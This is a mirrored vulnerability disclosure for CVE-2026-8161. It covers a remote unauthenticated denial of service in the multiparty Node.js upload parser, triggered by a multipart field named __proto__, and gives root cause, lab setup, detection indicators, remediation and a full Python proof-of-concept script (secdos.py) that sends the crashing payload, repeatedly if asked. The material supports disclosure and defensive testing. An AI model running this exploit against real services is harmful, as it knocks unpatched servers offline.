PoC Archive PoC Archive
Medium CVE-2026-8161 / GHSA-qxch-whhj-8956 patched

Multiparty Denial of Service via Prototype-Pollution Field Name (CVE-2026-8161)

by Reported to pillarjs/multiparty maintainers (coordinated disclosure) · 2026-07-05

Severity
Medium
CVE
CVE-2026-8161 / GHSA-qxch-whhj-8956
Category
misc
Affected product
multiparty (npm package, multipart/form-data parser)
Affected versions
multiparty <= 4.2.3 (fixed in 4.3.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherReported to pillarjs/multiparty maintainers (coordinated disclosure)
CVE / AdvisoryCVE-2026-8161 / GHSA-qxch-whhj-8956
Categorymisc
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsmultiparty, nodejs, prototype-pollution, denial-of-service, cwe-1321, uncaught-exception, multipart-parser
RelatedN/A

Affected Target

FieldValue
Software / Systemmultiparty (npm package, multipart/form-data parser)
Versions Affectedmultiparty <= 4.2.3 (fixed in 4.3.0)
Language / PlatformNode.js
Authentication RequiredNo
Network Access RequiredYes (any HTTP service accepting multipart uploads via a vulnerable multiparty version)

Summary

multiparty@4.2.3 and earlier store parsed multipart field names and files in plain JavaScript objects and rely on ordinary property lookup (fields[name], files[name]) to detect whether a field has been seen before. Because plain-object lookups traverse the prototype chain, a multipart field literally named __proto__ resolves to the inherited Object.prototype value instead of undefined. Since that inherited value is truthy, the parser’s fallback array-initialization is skipped, and a later .push() call on the non-array value throws an uncaught TypeError inside multiparty’s async parsing flow — crashing the Node.js process handling the upload.


Vulnerability Details

Root Cause

Unsafe assumption that fields[name] || (fields[name] = []) and files[name] || (files[name] = []) only ever observe own-properties. Using a field/file name of __proto__ returns the inherited Object.prototype (a truthy, non-array value) instead of undefined, so the array-initialization fallback never runs. A subsequent .push() on that non-array value throws, and the error occurs inside multiparty’s asynchronous parsing flow where normal caller-side try/catch does not intercept it — CWE-1321 (Prototype Pollution) leading to CWE-248 (uncaught exception) / denial of service.

Attack Vector

  1. Send a multipart/form-data request to any endpoint backed by a vulnerable multiparty (<=4.2.3) instance.
  2. Craft a form field (or file field) whose name is __proto__.
  3. Multiparty’s internal fields[name]/files[name] lookup resolves to Object.prototype instead of undefined, skipping array creation.
  4. The parser calls .push() on the non-array Object.prototype value, throwing an uncaught TypeError that crashes the Node.js process.

Impact

Remote, unauthenticated denial of service: a single crafted multipart upload can crash any Node.js service that parses uploads with a vulnerable multiparty version.


Environment / Lab Setup

Target:   Dockerized lab — vulnerable server (multiparty 4.2.3) behind nginx on localhost:8080
          Patched comparison server (multiparty 4.3.0) on localhost:8081
Attacker: Any HTTP client (secdos.py provided)

Proof of Concept

PoC Script

See secdos.py, docker-compose.yml, mocklab/, and secdos-burp-req in this folder.

1
2
3
docker compose up -d
python3 secdos.py -u http://localhost:8080/api/submit
python3 secdos.py -u http://localhost:8081/api/submit

The vulnerable target (multiparty 4.2.3, localhost:8080) crashes and the script reports [PASS]; the patched target (multiparty 4.3.0, localhost:8081) handles the request safely and the script reports [FAIL]. If re-running against the vulnerable server, restart the container first.


Detection & Indicators of Compromise

Signs of compromise:

  • Application logs showing an uncaught TypeError: ... push is not a function (or similar) coinciding with an incoming multipart upload.
  • Repeated process restarts/crash-loops correlated with multipart POST requests.
  • Multipart bodies containing a Content-Disposition: form-data; name="__proto__" part.

Remediation

ActionDetail
Primary fixUpgrade multiparty to 4.3.0 or later, which uses Object.prototype.hasOwnProperty.call() to validate field ownership before array operations
Interim mitigationReject multipart field/file names of __proto__, constructor, or prototype at the application/WAF layer before parsing

References


Notes

Mirrored from https://github.com/Ser0n-ath/CVE-2026-8161 on 2026-07-05. Includes the author’s Docker-based mocklab (vulnerable vs. patched comparison environment) and a sample Burp request.

secdos.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
'''
POC: Multiparty CVE-2026-8161 for mocklab
Seron Athavan
'''

import requests
from urllib.parse import urlparse
import argparse

BOUNDARY = '----WebKitFormBoundaryoFXWxynGz2jDt5Im'

class payload:

    web_url = None
    headers = {
        'Host': 'localhost',
        'Cache-Control': 'no-cache',
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
        'Connection': 'close',
    }

    data = (
        f'--{BOUNDARY}\r\n'
        f'Content-Disposition: form-data; name="__proto__"\r\n'
        f'\r\n'
        f'mrrp meowd\r\n'
        f'--{BOUNDARY}--\r\n'
    ).encode()

    def set_host(self, web_url):
        host = urlparse(web_url)
        host = host.hostname
        assert(host != None or len(host) == 0)
        self.headers["Host"] = host


############################################################################
########################## Code Goes Here ##################################
############################################################################

def polluted(config: dict) -> bool:
    '''
    Checks if the payload crashed the server.
    In multiparty <= 4.2.3, using __proto__ as a field name causes truthy confusion
    Object.prototype, causing a TypeError crash on the next field emit.

    A 5xx response or connection error indicates the server is down.

    Ref: https://nvd.nist.gov/vuln/detail/CVE-2026-8161
    '''
    web_url = config["web_url"]
    try:
        response = requests.get(web_url, timeout=5)
        if response.status_code in range(500, 600):
            return True
    except requests.exceptions.ConnectionError:
        return True  # server crashed, connection refused
    return False


def takedown(config: dict) -> bool:
    '''
    Based on CVE-2026-8161
    https://github.com/pillarjs/multiparty/issues/...

    Sends a multipart/form-data request with __proto__ as the field name.
    In multiparty <= 4.2.3 this causes collision with inherited properties.
    '''
    web_url = config["web_url"]
    replica = config["replica"]

    atk = payload()
    atk.set_host(web_url)

    for dyno in range(replica):
        print(f"Sending request #{dyno}")
        response = requests.post(web_url, headers=atk.headers, data=atk.data, verify=False)
        print("status code:", response.status_code)

    took_down = polluted(config)
    return took_down

  
#===================================================#
#==================== DRIVERS ======================#
#===================================================#

config = {
    "web_url": None,
    "replica": None
}

if __name__ == "__main__":
   
   parser = argparse.ArgumentParser()
   parser.add_argument("-u", '--url', help="The form url to perform attack", default=None)
   parser.add_argument("-r", '--replica', help="Number of requests to send [Default = 1]", default=1, type=int)
   args = parser.parse_args()
   args = args.__dict__

   url = args.get("url")
   replica = args.get("replica")

   if(url == None): parser.error("form submission url is required.")
   if(replica is None or replica < 1): parser.error("Need atleast 1 replica")

   config = {
       "web_url": url,
       "replica": replica,
   }

   took_down = takedown(config)
   
   msg = [
        "Payload rejected or server patched. [FAIL]",
        "Collision payload accepted. [PASS]"
    ][took_down]
   
   print(msg)
   
   exit(0 if took_down else -1)